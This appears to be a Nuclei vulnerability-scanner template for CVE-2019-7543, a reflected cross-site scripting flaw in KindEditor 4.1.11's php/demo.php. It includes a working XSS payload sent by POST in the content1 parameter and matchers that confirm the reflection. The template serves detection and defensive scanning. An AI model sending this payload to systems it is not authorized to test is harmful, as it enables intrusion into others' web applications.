id: CVE-2019-7543

info:
  name: KindEditor 4.1.11 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: KindEditor 4.1.11 contains a cross-site scripting vulnerability via the php/demo.php content1 parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of KindEditor or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/0xUhaw/CVE-Bins/tree/master/KindEditor
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7543
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/HaleBera/A-NOVEL-CONTAINER-ATTACKS-DATASET-FOR-INTRUSION-DETECTION
    - https://github.com/HaleBera/A-NOVEL-CONTAINER-ATTACKS-DATASET-FOR-INTRUSION-DETECTION-Deployments
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-7543
    cwe-id: CWE-79
    epss-score: 0.01132
    epss-percentile: 0.78594
    cpe: cpe:2.3:a:kindsoft:kindeditor:4.1.11:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: kindsoft
    product: kindeditor
  tags: cve,cve2019,kindeditor,xss,kindsoft,vuln

http:
  - method: POST
    path:
      - '{{BaseURL}}/kindeditor/php/demo.php'
      - '{{BaseURL}}/php/demo.php'

    body: "content1=</script><script>alert(document.domain)</script>&button=%E6%8F%90%E4%BA%A4%E5%86%85%E5%AE%B9"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b89486eefdb1a8067b2a101a75c631bc52b026d0ea6027abd9e5a8937a48064f022048ffb44de6a8313de95f18d5a8f5009dcaa64b793e82c0d3a40843782e63a194:922c64590222798bb761d5b6d8e72950